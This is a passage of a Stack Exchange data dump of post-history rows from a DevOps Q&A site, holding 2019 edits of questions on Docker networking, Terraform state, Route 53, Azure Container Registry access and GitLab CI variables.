&quot;Attachable&quot;: false,&#xD;&#xA;            &quot;Ingress&quot;: false,&#xD;&#xA;            &quot;ConfigFrom&quot;: {&#xD;&#xA;                &quot;Network&quot;: &quot;&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;ConfigOnly&quot;: false,&#xD;&#xA;            &quot;Containers&quot;: {&#xD;&#xA;                &quot;b819bf1d6f3af459825a1a7b58f9a44e15e6e09489e7bf50653ed8e1e176fd73&quot;: {&#xD;&#xA;                    &quot;Name&quot;: &quot;UnifiController&quot;,&#xD;&#xA;                    &quot;EndpointID&quot;: &quot;41a048034ad63e48b46b58aed65661c9eaa2bf6937d3eebacefde4478ad26cce&quot;,&#xD;&#xA;                    &quot;MacAddress&quot;: &quot;02:42:c0:a8:02:02&quot;,&#xD;&#xA;                    &quot;IPv4Address&quot;: &quot;192.168.2.2/24&quot;,&#xD;&#xA;                    &quot;IPv6Address&quot;: &quot;&quot;&#xD;&#xA;                }&#xD;&#xA;            },&#xD;&#xA;            &quot;Options&quot;: {&#xD;&#xA;                &quot;parent&quot;: &quot;eth0&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Labels&quot;: {}&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;The IP 192.168.2.2 is assigned. The container workes properly and stable. &#xD;&#xA;&#xD;&#xA;**4) Optional/Reminder**&#xD;&#xA;&#xD;&#xA;If the IP was not assigned respectively one cannot connect to it for any service, the follow up on the promiscious mode setting as described in Step 1." ContentLicense="CC BY-SA 4.0" />
  <row Id="27655" PostHistoryTypeId="5" PostId="9344" RevisionGUID="60958154-548f-44d5-b489-6afd10282cc2" CreationDate="2019-10-04T14:05:17.283" UserId="17415" Comment="edited body" Text="**Objective**: Assign fixed IP address to Docker container (Unifi Controller instance).&#xD;&#xA;&#xD;&#xA;**History**: I fetched the [unifi controller][1] image from Docker Hub to my Synology Docker host. The container of the unifi controller runs properly if I attach it to the network of the host (not the default bridge). That blocks though multiple ports I need for other services (in the future). Thus it would be much easier to assign that unifi container with it's own designated IP --&gt; 192.168.2.2 (than changing all the ports).&#xD;&#xA;&#xD;&#xA;I guess that is a cinch to deal with for most in here.&#xD;&#xA;&#xD;&#xA;**Indications of my misconception**:&#xD;&#xA;&#xD;&#xA; - I created my own network in the Synology Docker GUI (with the subnet 192.168.2.0/23 and gateway 192.168.2.1)&#xD;&#xA; - I assigned it to a new unifi-controller container instance. &#xD;&#xA; - The GUI suggests to map the host ports with &quot;auto&quot; to the container ports, **which indicates me that I do NOT understand completly the network concept** of Docker. Because if I'm able to set an individual IP, why should it allow to map host ports (to container ports)?&#xD;&#xA;&#xD;&#xA;**Questions**: &#xD;&#xA;&#xD;&#xA; - So, why can I not assign a fixed IP to the container in the GUI? &#xD;&#xA; - What am I conceptually missing?&#xD;&#xA; - If not in the GUI, how can I accomplish it over SSH/Bash?&#xD;&#xA;&#xD;&#xA;Thanks for anyone's support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/jacobalberty/unifi" ContentLicense="CC BY-SA 4.0" />
  <row Id="27656" PostHistoryTypeId="50" PostId="9085" RevisionGUID="60ab17a6-cc2d-41d0-9e8f-645e9c12604e" CreationDate="2019-10-04T15:02:15.393" UserId="-1" />
  <row Id="27657" PostHistoryTypeId="2" PostId="9356" RevisionGUID="73d8b97a-24b8-4341-b8ec-6cf6e4e4d7b2" CreationDate="2019-10-04T21:46:21.603" UserId="17449" Text="You just have to use the hostname on your docker compose file like this:&#xD;&#xA;&#xD;&#xA;hostname: whatever-{{Node.Hostname}}&#xD;&#xA;&#xD;&#xA;Note that you have to prepend something to the hostname to avoid hostnames dups. " ContentLicense="CC BY-SA 4.0" />
  <row Id="27658" PostHistoryTypeId="5" PostId="9356" RevisionGUID="8b5ab33c-995b-4337-916f-224bd68b98f1" CreationDate="2019-10-04T22:04:33.773" UserId="17449" Comment="added 1 character in body" Text="You just have to use the hostname on your docker compose file like this:&#xD;&#xA;&#xD;&#xA;hostname: whatever-{{.Node.Hostname}}&#xD;&#xA;&#xD;&#xA;Note that you have to prepend something to the hostname to avoid hostnames dups. " ContentLicense="CC BY-SA 4.0" />
  <row Id="27742" PostHistoryTypeId="50" PostId="5907" RevisionGUID="b8bf2e9c-ec3e-4529-a9ee-b420cc34c8eb" CreationDate="2019-10-05T06:01:25.167" UserId="-1" />
  <row Id="27743" PostHistoryTypeId="50" PostId="8024" RevisionGUID="50bb0af4-1b73-45a2-9059-82030020cd17" CreationDate="2019-10-05T07:02:20.320" UserId="-1" />
  <row Id="27744" PostHistoryTypeId="5" PostId="6760" RevisionGUID="0f6b625e-0602-44f9-a1d4-277f9ed8963b" CreationDate="2019-10-05T07:10:37.157" UserId="40" Comment="deleted 55 characters in body" Text="&#xD;&#xA;I'm working on a system where a dockerized application must run on client side machines (Ubuntu PC), with some sensitive data that must persist between runs that we want to limit access to. In prototyping I just stored the data in the host file system and used a bind mount to map that folder into the application container. &#xD;&#xA;&#xD;&#xA;I want to avoid situtations where someone with access to the machine can just copy out some user data, or even look at it. &#xD;&#xA;&#xD;&#xA;What would be a good solution in my case?&#xD;&#xA;&#xD;&#xA;What I have read from google this sounds to be a bit of a different use case as to where user data/docker volumes are securely hidden away between the (fire)walls of server rooms and cloud instances and I haven't therefore been able to find a good solution on how to limit access to said user data so that no one (no proccess, nothing) except the running container has access to that data, even with physical access to the machine. &#xD;&#xA;&#xD;&#xA;I am also very new to DevOps and deploying systems so I would appreciate  any insight on how to solve that matter!" ContentLicense="CC BY-SA 4.0" />
  <row Id="27745" PostHistoryTypeId="5" PostId="8918" RevisionGUID="ef90a77c-6855-4d38-8b32-c621f37e6ba8" CreationDate="2019-10-05T07:28:44.880" UserId="40" Comment="Integrate comments from OPer " Text="When I look over the documentation for [Route 53 Routing Policies][1] they list 7 different policies. How should I pick the right one if I am building out new infrastructure in AWS for a US-based e-commerce website? Here is the list of offerings:&#xD;&#xA;&#xD;&#xA;- Simple&#xD;&#xA;- Failover&#xD;&#xA;- Geolocation&#xD;&#xA;- Geoproximity&#xD;&#xA;- Latency-based&#xD;&#xA;- Multivalue Answer&#xD;&#xA;- Weighted&#xD;&#xA;&#xD;&#xA;These different routing policies are pretty confusing. I would of course always want failover for my DNS. Why would I ever choose Simple? Is there some major difference between Geolocation and Geoproximity? What do they mean by &quot;Traffic Flow Only&quot; next to Geoproximity?&#xD;&#xA;&#xD;&#xA;Because of the confusion around all of this I am for now choosing latency-based routing. That seems simple and intuitive. I have ELBs to handle failover for me, and with my latency routing I have associated health-checks, so it _seems_ like my bases are covered.&#xD;&#xA;&#xD;&#xA;Notes:&#xD;&#xA;&#xD;&#xA;- We have a handful of ELBs but they are mostly in us-west-2 region, some in us-east-1.&#xD;&#xA;- These ELBs are serving the same site out of multiple regions.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="27746" PostHistoryTypeId="5" PostId="9318" RevisionGUID="3901a3c2-b610-4cf2-a07d-c51d79e799b4" CreationDate="2019-10-05T07:31:11.103" UserId="40" Comment="fix formatting" Text="I am deploying CI with several runners - however they are all based on the Docker executor on Linux. Is it possible to use Linux runners to test applications on Windows or Mac instead?&#xD;&#xA;&#xD;&#xA;I understand I could use the VirtualBox executor and have a MacOS/Windows image, however I fail to understand if it is possible to do this without acquiring a license for MacOS or Windows (maybe there are free images for CI available?)&#xD;&#xA;&#xD;&#xA;My actual initial question was geared towards running Windows/MacOS images inside a docker container on Windows - is it possible? I assume it isn't because we are still using the Linux kernel but would like confirmation.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="27747" PostHistoryTypeId="5" PostId="9268" RevisionGUID="6d0d25dc-bd3f-485e-8f38-3c09550ab755" CreationDate="2019-10-05T07:42:41.307" UserId="40" Comment="Integrate comments from OPer " Text="GitOps is a technique of using Git to manage infrastructure provisioning and software deployments.  This technique uses many of the features of Git such as Pull Requests to manage and trigger deployments, and allows &quot;diffing&quot; (looking at the difference between commits) to view the differences between deployments.&#xD;&#xA;&#xD;&#xA;DevOps is more of a culture or philosophy.  It is not tied to the specific tool Git.  Instead, DevOps is the joining of Development (Dev) and System Operations (Ops).  Often continuous integration and continuous deployment are big focuses of companies that invest in a DevOps culture.&#xD;&#xA;&#xD;&#xA;A company that has a DevOps culture may choose to use a technique like GitOps to manage their infrastructure.  They may choose to use other tools though.&#xD;&#xA;&#xD;&#xA;Note: DevOps is not a process. It is a culture. GitOps is a specific System Operations (ops) process tied to a specific tool (Git). A company that uses GitOps may not have a DevOps culture. Conversely, a company that has a DevOps culture may not use GitOps." ContentLicense="CC BY-SA 4.0" />
  <row Id="27748" PostHistoryTypeId="5" PostId="9267" RevisionGUID="c515298d-d597-4f3d-9c2c-0beb76b846c2" CreationDate="2019-10-05T07:43:33.990" UserId="40" Comment="added 1 character in body; edited title" Text="I am hearing nowadays a lot about GitOps. What is the difference between DevOps and GitOps?&#xD;&#xA;&#xD;&#xA;Is it just the SCM does the build and deploy when there is a commit instead of the CI/CD tool exclusively?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27749" PostHistoryTypeId="4" PostId="9267" RevisionGUID="c515298d-d597-4f3d-9c2c-0beb76b846c2" CreationDate="2019-10-05T07:43:33.990" UserId="40" Comment="added 1 character in body; edited title" Text="What is the difference between DevOps and GitOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27750" PostHistoryTypeId="5" PostId="5104" RevisionGUID="7f54c69a-ebfb-4444-a515-7cfe65a127b5" CreationDate="2019-10-05T07:48:09.637" UserId="40" Comment="remove noise" Text="I have various Jenkins agents images and I am trying to add automation to it.&#xD;&#xA;&#xD;&#xA;I have a base java image called `agent-base` and those who inherit from that one e.g. `agent-ansible`, `agent-terraform` and so on. In some case, I even have a 3rd level.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;- What would be the best way to update the child images when a parent is updated? Downstream pipelines perhaps?&#xD;&#xA;- Or should I keep all the Dockerfiles in a single repository and have a script that know the images hierarchy?&#xD;&#xA;- More importantly, how should I tag (version) my child images? Should it contain my parents version too? In the tag itself or as labels." ContentLicense="CC BY-SA 4.0" />
  <row Id="27751" PostHistoryTypeId="4" PostId="5104" RevisionGUID="7f54c69a-ebfb-4444-a515-7cfe65a127b5" CreationDate="2019-10-05T07:48:09.637" UserId="40" Comment="remove noise" Text="How to manage Docker images and their child images in a pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27752" PostHistoryTypeId="5" PostId="8511" RevisionGUID="d97e5baf-1557-46c8-8cbc-cb8014bd2ab5" CreationDate="2019-10-05T12:23:53.797" UserId="40" Comment="Improve title" Text="I am looking for a tool that will manage the versioning of Azure SQL Databases, and check for missing schema or migration scripts and apply those changes based on what is missing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any other solutions or tips would be great. I just want to make sure the database schema is flat across the board regardless, and apply changes based on version number.&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27753" PostHistoryTypeId="4" PostId="8511" RevisionGUID="d97e5baf-1557-46c8-8cbc-cb8014bd2ab5" CreationDate="2019-10-05T12:23:53.797" UserId="40" Comment="Improve title" Text="How to manage the versioning of Azure SQL Databases?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27754" PostHistoryTypeId="4" PostId="8016" RevisionGUID="db66b1a8-088a-4eba-baa5-b86a60c24abb" CreationDate="2019-10-05T12:27:36.650" UserId="40" Comment="Improve title" Text="How to handle AWS Offsite or cross-account RDS (mysql) backups?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27755" PostHistoryTypeId="5" PostId="9326" RevisionGUID="385d931f-cf9b-4344-96b6-60c16e71d233" CreationDate="2019-10-05T12:32:45.520" UserId="40" Comment="Improve title" Text="We started using Terraform to create VMs in some Cloud Providers. &#xD;&#xA;&#xD;&#xA;But we are a team with several people. &#xD;&#xA;&#xD;&#xA;Terraform has a state file. &#xD;&#xA;&#xD;&#xA;Whenever someone changes something via Terraform, ex.: creating, decomming VMs, that state file need to be again sent to the others too, or else, when the others open their terraform, it will re-create the decommed VMs or destroy existing ones since they had old state file. &#xD;&#xA;&#xD;&#xA;**My question:** Can Terraform pull down the newest state file by itself? Or manually, before doing anything, humans needs to be trusted to &quot;always download the newest state file&quot;? Humans will make mistakes.." ContentLicense="CC BY-SA 4.0" />
  <row Id="27756" PostHistoryTypeId="4" PostId="9326" RevisionGUID="385d931f-cf9b-4344-96b6-60c16e71d233" CreationDate="2019-10-05T12:32:45.520" UserId="40" Comment="Improve title" Text="Can Terraform pull down the newest state file by itself?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27757" PostHistoryTypeId="5" PostId="9316" RevisionGUID="bcfa5789-187c-4539-9fb9-24a8ebac8d37" CreationDate="2019-10-05T12:35:26.513" UserId="40" Comment="remove noise" Text="Last week, my TXT and other DNS records on Route53 stopped resolving:&#xD;&#xA;&#xD;&#xA;https://dnschecker.org/#TXT/thuijls.net&#xD;&#xA;&#xD;&#xA;The entries are set like:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/J1keG.png&#xD;&#xA;&#xD;&#xA;What else could be missing here? As far as I'm aware, nothing has changed in the last week yet most of the entries are not being picked up. The domain was automatically extended earlier september if that makes a difference." ContentLicense="CC BY-SA 4.0" />
  <row Id="27758" PostHistoryTypeId="5" PostId="9322" RevisionGUID="8e01c9c3-023c-489d-adf3-70650e930624" CreationDate="2019-10-05T12:38:35.080" UserId="40" Comment="fix caps, remove noise" Text="I am looking for a netframework Docker image with .net 4.7.2 and netcoreapp2.2. I searched on the main docker website: [DockerHub, .NET Framework&#xD;&#xA;By Microsoft](https://hub.docker.com/_/microsoft-dotnet-framework) without success. I also check the [Microsoft website](https://docs.microsoft.com/en-us/dotnet/framework/) just in case.&#xD;&#xA;&#xD;&#xA;Is there a way to see previous version of a Docker image? (Especially for the .NET Framework)&#xD;&#xA;&#xD;&#xA;Something to allow me to fill this kind of table:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;| docker image                         | framework | core  | aspcore |&#xD;&#xA;|--------------------------------------|-----------|-------|---------|&#xD;&#xA;| microsoft/dotnet-framework:4.8-sdk   | 4.8       | 3.0   | ?       |&#xD;&#xA;| microsoft/dotnet-framework:4.7.2-sdk | 4.7.2     |  2.1? | ?       |&#xD;&#xA;|                                      | 4.7.1     | ?     | ?       |&#xD;&#xA;|                                      | 4.7       | ?     | ?       |&#xD;&#xA;|                                      | 4.6.2     | ?     | ?       |&#xD;&#xA;|                                      | 4.6.1     | ?     | ?       |&#xD;&#xA;|                                      | 4.6       | ?     | ?       |&#xD;&#xA;|                                      | 4.5.2     | ?     | ?       |&#xD;&#xA;|                                      | 4.5.1     | ?     | ?       |&#xD;&#xA;|                                      | 4.5.0     | ?     | ?       |&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="27759" PostHistoryTypeId="4" PostId="9322" RevisionGUID="8e01c9c3-023c-489d-adf3-70650e930624" CreationDate="2019-10-05T12:38:35.080" UserId="40" Comment="fix caps, remove noise" Text="How to see previous version of a Docker image?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27761" PostHistoryTypeId="5" PostId="6916" RevisionGUID="3939cde1-bae7-4854-bc37-77465347d162" CreationDate="2019-10-05T12:49:03.590" UserId="40" Comment="Integrate comments from OPer " Text="I am a very beginner in the Docker world, while I am trying to experiment with Docker file and Docker-Compose I am facing the below error, I now am able to understand it is related to declaring volumes in Docker compose, if I remove volumes, everything works fine, may be it is trying to refer back to the package.json  file in my local drive and somehow container is not finding the package.json inside the container, yet to figure out how to solve this.&#xD;&#xA;&#xD;&#xA;    enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;&#xD;&#xA;Here is the output from docker-compose:&#xD;&#xA;&#xD;&#xA;    Starting frontend_web_1  ... done&#xD;&#xA;    Starting frontend_test_1 ... done&#xD;&#xA;    Attaching to frontend_test_1, frontend_web_1&#xD;&#xA;    web_1   | npm ERR! path /app/package.json&#xD;&#xA;    web_1   | npm ERR! code ENOENT&#xD;&#xA;    web_1   | npm ERR! errno -2&#xD;&#xA;    web_1   | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    web_1   | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    web_1   | npm ERR! enoent&#xD;&#xA;    test_1  | npm ERR! path /app/package.json&#xD;&#xA;    test_1  | npm ERR! code ENOENT&#xD;&#xA;    test_1  | npm ERR! errno -2&#xD;&#xA;    web_1   |&#xD;&#xA;    test_1  | npm ERR! syscall open&#xD;&#xA;    web_1   | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    web_1   | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_226Z-debug.log&#xD;&#xA;    test_1  | npm ERR! enoent ENOENT: no such file or directory, open '/app/package.json'&#xD;&#xA;    test_1  | npm ERR! enoent This is related to npm not being able to find a file.&#xD;&#xA;    test_1  | npm ERR! enoent&#xD;&#xA;    test_1  |&#xD;&#xA;    test_1  | npm ERR! A complete log of this run can be found in:&#xD;&#xA;    test_1  | npm ERR!     /root/.npm/_logs/2019-04-22T04_10_39_236Z-debug.log&#xD;&#xA;    frontend_web_1 exited with code 254&#xD;&#xA;    frontend_test_1 exited with code 254&#xD;&#xA;&#xD;&#xA;Dockerfile.dev&#xD;&#xA;&#xD;&#xA;    FROM node:alpine&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app&#xD;&#xA;    &#xD;&#xA;    COPY package.json .&#xD;&#xA;    &#xD;&#xA;    RUN npm install&#xD;&#xA;    &#xD;&#xA;    COPY . .&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;Docker file contents are below&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;      web: &#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - .:/app&#xD;&#xA;      test:&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.dev&#xD;&#xA;        volumes:&#xD;&#xA;          - /app/node_modules&#xD;&#xA;          - .:/app&#xD;&#xA;        command: [&quot;npm&quot;, &quot;run&quot;, &quot;test&quot;]&#xD;&#xA;&#xD;&#xA;My directory structure as as shown below,&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Executed the below statement and the corresponding response,&#xD;&#xA;&#xD;&#xA;    $ docker run -it --rm -v &quot;$(pwd):/app&quot; busybox ls -l /app&#xD;&#xA;&#xD;&#xA;    the input device is not a TTY.  If you are using mintty, try prefixing the command with 'winpty'&#xD;&#xA;&#xD;&#xA;Update: I now am able to understand it is related to declaring volumes in Docker compose, if I remove volumes, everything works fine, may be it is trying to refer back to the package.json file in my local drive and somehow container is not finding the package.json inside the container, yet to figure out how to solve this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/e7aZO.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="27762" PostHistoryTypeId="5" PostId="9330" RevisionGUID="3b1dca7e-1ecd-4830-91dc-3e8f6f87b64b" CreationDate="2019-10-05T12:52:46.490" UserId="40" Comment="Improve title, remove noise, fix typos, add tag" Text="I need to bring our companies rather old build radiators upto standard so it reflects what our current toolstack looks like.&#xD;&#xA;However, we're currently inside a weird limbo between using both Jenkins and Bamboo. &#xD;&#xA;&#xD;&#xA;Is there an open source, off the shelf build radiator that can interact with both Bamboo and Jenkins? I've already had a crack at making my own system and decided that my JS skills are not up to the task.&#xD;&#xA;&#xD;&#xA;Not essential but bonus points for pulling metrics from other sources like SonarQube and Jira..." ContentLicense="CC BY-SA 4.0" />
  <row Id="27763" PostHistoryTypeId="4" PostId="9330" RevisionGUID="3b1dca7e-1ecd-4830-91dc-3e8f6f87b64b" CreationDate="2019-10-05T12:52:46.490" UserId="40" Comment="Improve title, remove noise, fix typos, add tag" Text="Is there a Radiators for Jenkins and Bamboo?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27764" PostHistoryTypeId="6" PostId="9330" RevisionGUID="3b1dca7e-1ecd-4830-91dc-3e8f6f87b64b" CreationDate="2019-10-05T12:52:46.490" UserId="40" Comment="Improve title, remove noise, fix typos, add tag" Text="&lt;jenkins&gt;&lt;bitbucket&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27765" PostHistoryTypeId="2" PostId="9357" RevisionGUID="48921273-1e57-4575-8179-7ccc011293d9" CreationDate="2019-10-05T12:55:28.127" UserId="10142" Text="I'm using Azure Container Registry for private Docker images. I want to let around 500 customers pull images and use the Docker V2 HTTP API to read metadata.&#xD;&#xA;&#xD;&#xA;Service Principals are one way to go about this. My plan is to create a single Service Principal, and grant it the `AcrPull` role on the Azure Container Registry. I'd then create a time-limited password credential for each customer.&#xD;&#xA;&#xD;&#xA;The customer flow would be something like:&#xD;&#xA;1. Authenticate using the Service Principal client secret, to get an Azure AD Access Token&#xD;&#xA;2. Hit the Azure Container Registry OAuth token endpoint, swapping the AAD Access Token for an ACR Access Token and Refresh Token&#xD;&#xA;3. You can now use `docker login` using the ACR Refresh Token as the password&#xD;&#xA;4. You can also access the ACR HTTP API using the ACR token&#xD;&#xA;&#xD;&#xA;These steps are not carried out manually, but by automatic scripts running on customer's servers.&#xD;&#xA;&#xD;&#xA;After much research (Microsoft's docs here are not great), this approach seems to work as expected.&#xD;&#xA;&#xD;&#xA;Is using a Service Principal the &quot;idiomatic&quot; way to approach this? Are there any benefits to creating an individual Service Principal for each customer? " ContentLicense="CC BY-SA 4.0" />
  <row Id="27766" PostHistoryTypeId="1" PostId="9357" RevisionGUID="48921273-1e57-4575-8179-7ccc011293d9" CreationDate="2019-10-05T12:55:28.127" UserId="10142" Text="Provide customers with access to Azure Container Registry" ContentLicense="CC BY-SA 4.0" />
  <row Id="27767" PostHistoryTypeId="3" PostId="9357" RevisionGUID="48921273-1e57-4575-8179-7ccc011293d9" CreationDate="2019-10-05T12:55:28.127" UserId="10142" Text="&lt;azure&gt;&lt;security&gt;&lt;architecture&gt;&lt;permissions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27771" PostHistoryTypeId="5" PostId="9339" RevisionGUID="f1b78a1f-ff16-4c96-972b-19a8dbece7c4" CreationDate="2019-10-05T13:03:45.110" UserId="40" Comment="remove tag from title, fix typos" Text="I've been looking at Deployments descriptions in Kubernetes. In the tutorials I've found, the definition of the replicated pods are always a copy-paste of a pod template file.&#xD;&#xA;&#xD;&#xA;Is it possible to rather use a reference to the yaml file (or an url) defining a pod (I didn't found any resource telling so)?&#xD;&#xA;&#xD;&#xA;If yes, should it be avoided (in order to keep label/selector in the same file for example)?&#xD;&#xA;&#xD;&#xA;If no, is there a reason (because Kubernetes wouldn't know if you modified the pod template file for example)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27772" PostHistoryTypeId="4" PostId="9339" RevisionGUID="f1b78a1f-ff16-4c96-972b-19a8dbece7c4" CreationDate="2019-10-05T13:03:45.110" UserId="40" Comment="remove tag from title, fix typos" Text="Use a pod template file in a Deployment" ContentLicense="CC BY-SA 4.0" />
  <row Id="27775" PostHistoryTypeId="5" PostId="9357" RevisionGUID="9c371b24-d518-47a6-9333-b96894b8a6f0" CreationDate="2019-10-05T13:10:54.980" UserId="40" Comment="fix formatting" Text="I'm using Azure Container Registry for private Docker images. I want to let around 500 customers pull images and use the Docker V2 HTTP API to read metadata.&#xD;&#xA;&#xD;&#xA;Service Principals are one way to go about this. My plan is to create a single Service Principal, and grant it the `AcrPull` role on the Azure Container Registry. I'd then create a time-limited password credential for each customer.&#xD;&#xA;&#xD;&#xA;The customer flow would be something like:&#xD;&#xA;&#xD;&#xA;1. Authenticate using the Service Principal client secret, to get an Azure AD Access Token&#xD;&#xA;2. Hit the Azure Container Registry OAuth token endpoint, swapping the AAD Access Token for an ACR Access Token and Refresh Token&#xD;&#xA;3. You can now use `docker login` using the ACR Refresh Token as the password&#xD;&#xA;4. You can also access the ACR HTTP API using the ACR token&#xD;&#xA;&#xD;&#xA;These steps are not carried out manually, but by automatic scripts running on customer's servers.&#xD;&#xA;&#xD;&#xA;After much research (Microsoft's docs here are not great), this approach seems to work as expected.&#xD;&#xA;&#xD;&#xA;Is using a Service Principal the &quot;idiomatic&quot; way to approach this? Are there any benefits to creating an individual Service Principal for each customer? " ContentLicense="CC BY-SA 4.0" />
  <row Id="27777" PostHistoryTypeId="5" PostId="8627" RevisionGUID="25646e2d-d68d-4228-a5d7-7df22ab16209" CreationDate="2019-10-05T13:40:00.687" UserId="40" Comment="remove noise" Text="I have the following situation:&#xD;&#xA;I'm storing sensitive data in Gitlab's environment and then passing these variables to a deployment script in bash.&#xD;&#xA;&#xD;&#xA;Gitlab's env var:&#xD;&#xA;```&#xD;&#xA;Key: sensitive_var&#xD;&#xA;Value: aaa$bbb*%&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then in the `.gitlab-ci.yml` file the env vars are passed to the deployment script as follows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;.deploy:&#xD;&#xA;  script:&#xD;&#xA;    - deploy.sh PASS=${sensitive_var} &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The deployment script parses the arguments as follows:&#xD;&#xA;```&#xD;&#xA;for arg; do&#xD;&#xA;  TEMP_VAR=$(echo ${arg} | sed -e 's?=? ?')&#xD;&#xA;done&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The problem is that when we check the output of the `deploy.sh` script the variable's value gets expanded resulting in `aaa*%`.&#xD;&#xA;&#xD;&#xA;Solutions tried so far:  &#xD;&#xA;&#xD;&#xA; - Storing the value in Gitlab's environment with single quotes `'` but then the value was `'aaa*%'`.&#xD;&#xA; - Passing the environment variable with double quotes:&#xD;&#xA;```&#xD;&#xA;.deploy:&#xD;&#xA;  script:&#xD;&#xA;    - deploy.sh PASS=&quot;${sensitive_var}&quot; &#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;.deploy:&#xD;&#xA;  script:&#xD;&#xA;    - deploy.sh PASS=&quot;$sensitive_var&quot; &#xD;&#xA;```&#xD;&#xA;But the result was the same: `aaa*%`.  &#xD;&#xA;&#xD;&#xA;- Combination of the above solutions didn't work either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why is this happening, and how I can fix it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27778" PostHistoryTypeId="5" PostId="9355" RevisionGUID="8ef08913-35b5-4ce5-a60f-1dc0a0d02367" CreationDate="2019-10-05T15:55:39.950" UserId="40" Comment="fix formatting and typos" Text="I am looking for a way to reliably check accepted cipher suites by an Azure App Service. On standard virtual machine I just remote to it and execute PowerShell command: `Get-TlsCipherSuite` which provides a list of currently accepted keys or check the system's registry.&#xD;&#xA;&#xD;&#xA;I could pen test app service by ssllabs.com however I cross checked their results against results from `Get-TlsCipherSuite` for a certain machine and it's not 100% accurate: ssllabs didn't detect suites with Pre Shared Keys.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA;- how to query Azure App Service accepted cipher suite?&#xD;&#xA;&#xD;&#xA;- how do browsers know which cipher suites are available to it when it tries to go to a given domain?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27779" PostHistoryTypeId="5" PostId="9344" RevisionGUID="68ea558e-3bea-46ae-8d55-4bba2b609e4e" CreationDate="2019-10-05T15:57:08.350" UserId="40" Comment="remove noise" Text="**Objective**: Assign fixed IP address to Docker container (Unifi Controller instance).&#xD;&#xA;&#xD;&#xA;**History**: I fetched the [unifi controller][1] image from Docker Hub to my Synology Docker host. The container of the unifi controller runs properly if I attach it to the network of the host (not the default bridge). That blocks though multiple ports I need for other services (in the future). Thus it would be much easier to assign that unifi container with it's own designated IP --&gt; 192.168.2.2 (than changing all the ports).&#xD;&#xA;&#xD;&#xA;I guess that is a cinch to deal with for most in here.&#xD;&#xA;&#xD;&#xA;**Indications of my misconception**:&#xD;&#xA;&#xD;&#xA; - I created my own network in the Synology Docker GUI (with the subnet 192.168.2.0/23 and gateway 192.168.2.1)&#xD;&#xA; - I assigned it to a new unifi-controller container instance. &#xD;&#xA; - The GUI suggests to map the host ports with &quot;auto&quot; to the container ports, **which indicates me that I do NOT understand completly the network concept** of Docker. Because if I'm able to set an individual IP, why should it allow to map host ports (to container ports)?&#xD;&#xA;&#xD;&#xA;**Questions**: &#xD;&#xA;&#xD;&#xA; - Why can I not assign a fixed IP to the container in the GUI? &#xD;&#xA; - What am I conceptually missing?&#xD;&#xA; - If not in the GUI, how can I accomplish it over SSH/Bash?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/jacobalberty/unifi" ContentLicense="CC BY-SA 4.0" />
